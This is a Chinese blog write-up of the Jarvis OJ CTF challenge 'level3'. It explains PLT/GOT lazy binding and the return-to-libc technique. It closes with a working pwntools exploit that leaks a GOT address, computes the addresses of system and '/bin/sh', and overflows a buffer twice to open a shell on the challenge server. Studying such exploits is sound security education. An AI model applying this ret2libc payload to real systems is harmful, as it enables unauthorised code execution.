zoukankan      html  css  js  c++  java
  • Jarvis Oj Pwn 学习笔记level3

    你们期待的Libc终于来了~(return_to_libc attack)

    跪呈链接:

    https://files.cnblogs.com/files/Magpie/level3.rar

    nc pwn2.jarvisoj.com 9879

    checksec,依旧老样子:

    端起IDA,elf和libc双双扔进锅里:

    先看elf:

    阔以阔以,libc类题目该有的函数(话说貌似有write一个就够了...)都有了~当然该没有的(当然是指system)也确实没有。。

    好,主要原因是因为本人就是个菜鸡所以还是决定把libc类pwn题的具体思路婆婆妈妈一波:

    首先,有一类函数,我们称之为库函数,他们已经编译在了libc库中,供需要时调用(有些类似于Windows动态链接库)。

    libc是Linux下的ANSI C的函数库。ANSI C是基本的C语言函数库,包含了C语言最基本的库函数。

    由于本人水平太菜==暂时还搞不清楚libc在换了另一个系统时的调用情况是否兼容(相关的坑以后再填~),但是有一点可以确定:

    程序开始运行时,会把整个libc映射到内存中,此后在程序调用相关库函数时,会依据plt-got表的机制,将所需的库函数加载到内存空间的某个虚拟内存地址,然后调用时就会通过plt_got表辗转跳至真正的函数内存地址处完成功能,具体机制我们下面讲一下(PLT-GOT表):

    PLT:内部函数表

    GOT:全局函数表

    完整调用链:Call->PLT->GOT->Real_RVA

    转一篇简书的博文(https://www.jianshu.com/p/6626a866ad66)——@xiaobaozi

    ########################################################################

    GOT表和PLT表:

    GOT(Global Offset Table,全局偏移表)是Linux ELF文件中用于定位全局变量和函数的一个表。PLT(Procedure Linkage Table,过程链接表)是Linux ELF文件中用于延迟绑定的表,即函数第一次被调用的时候才进行绑定。

    延迟绑定:

    所谓延迟绑定,就是当函数第一次被调用的时候才进行绑定(包括符号查找、重定位等),如果函数从来没有用到过就不进行绑定。基于延迟绑定可以大大加快程序的启动速度,特别有利于一些引用了大量函数的程序

    下面简单介绍一下延迟绑定的基本原理。假如存在一个bar函数,这个函数在PLT中的条目为bar@plt,在GOT中的条目为bar@got,那么在第一次调用bar函数的时候,首先会跳转到PLT,伪代码如下:

    bar@plt:

    jmp bar@got

    patch bar@got

    这里会从PLT跳转到GOT,如果函数从来没有调用过,那么这时候GOT会跳转回PLT并调用patch bar@got这一行代码的作用是将bar函数真正的地址填充到bar@got,然后跳转到bar函数真正的地址执行代码。当我们下次再调用bar函数的时候,执行路径就是先后跳转到bar@plt、bar@got、bar真正的地址。

    作者:xiaobaozi
    链接:https://www.jianshu.com/p/6626a866ad66
    來源:简书
    著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

    #########################################################################

    更多相关plt和got表内容参见《深入理解计算机系统》;好我们接着讲:

    跟进去:

    这就是plt表,再跟一下就进了got表项:

    双击跟一下后面的offset,发现是有一个静态的初始地址的,然而显然这不是真正的函数地址:

    plt表里做了一个jmp,注意jmp跳到的地址是804a00c处存的地址而不是804a00c(804a00c就是got表项的索引地址,其处存的地址值就是表项内容即库函数的真实地址!)

    即下面的 dd offset read 这个值才是jmp的目标地址,附一个汇编语法:ds:[eax] 值为eax的值,即指针,而ds:eax 值为eax存储的地址处的值

    ds是指data segment,dd是双字,占四字节

    下面的仅是本人的理解和猜测,不一定保证正确:

    第一次跳到extrn就做了声明,将 dd offset read 改写为真实VA值,即与上面转载的博客讲的首次调用对应。

    也就是说,不考虑第一次,GOT表存的就是真实地址!!!!

    即0x804A00C处的值就是函数真实地址!!!

    现在大体基础原理已经介绍完了,我们继续分析这道pwn题目:

    由于libc_raw里的地址和虚拟内存中的VA是平行映射的,所以......

    先通过write泄露某函数got表的值(即某函数真实VA),然后在IDA中找到system和"/bin/sh"和某函数地址,算出偏移,根据平行的特性就可以计算出真实的system和"/bin/sh"的地址啦~

    之后,all matters done!

    注意,需要两次溢出!第一次溢出劫持到write泄露地址,write执行完后还要能回到源溢出函数(构造栈),然后进行第二次溢出拿shell

    原理明白了,我们看exp:

     1 from pwn import *
     2 context(arch = 'i386', os = 'linux')
     3 r = remote('pwn2.jarvisoj.com', 9879)
     4 junk='A'*140
     5 rtwrt='\x40\x83\x04\x08'
     6 rtfun='\x4b\x84\x04\x08'
     7 leakstk='\x01\x00\x00\x00'+'\x0c\xa0\x04\x08'+'\x04\x00\x00\x00'#write函数的参数:1 stdout   \x0c\xa0\x04\x08 got表地址    4 读四个字节
     8 payload=junk+rtwrt+rtfun+leakstk
     9 r.recvuntil("Input:\n")
    10 r.send(payload)
    11 b=r.recv(4)
    12 readadr=u32(b)
    13 print hex(readadr)
    14 offset_sys=0x00040310-0x000daf60
    15 offset_cmd=0x0016084c-0x000daf60
    16 s=readadr+offset_sys
    17 c=readadr+offset_cmd
    18 payload='A'*140+p32(s)+'BBBB'+p32(c)
    19 r.send(payload)
    20 r.interactive()

    BINGO!!

  • 相关阅读:
    shell加载配置文件
    Shell四种运行方式(启动方式)
    Linux下Fork与Exec使用
    ln -snf 的个人理解
    利用python3将已有的某几个pptx文件的某些slides来生成新的pptx文件的范例
    如何在centos7中安装python3
    ng-include
    ng-class细说 by破狼
    AngularJS的Filter用法详解
    理解angularjs中的$emit,$broadcast和$on by Four
  • 原文地址:https://www.cnblogs.com/Magpie/p/9117398.html
Copyright © 2011-2022 走看看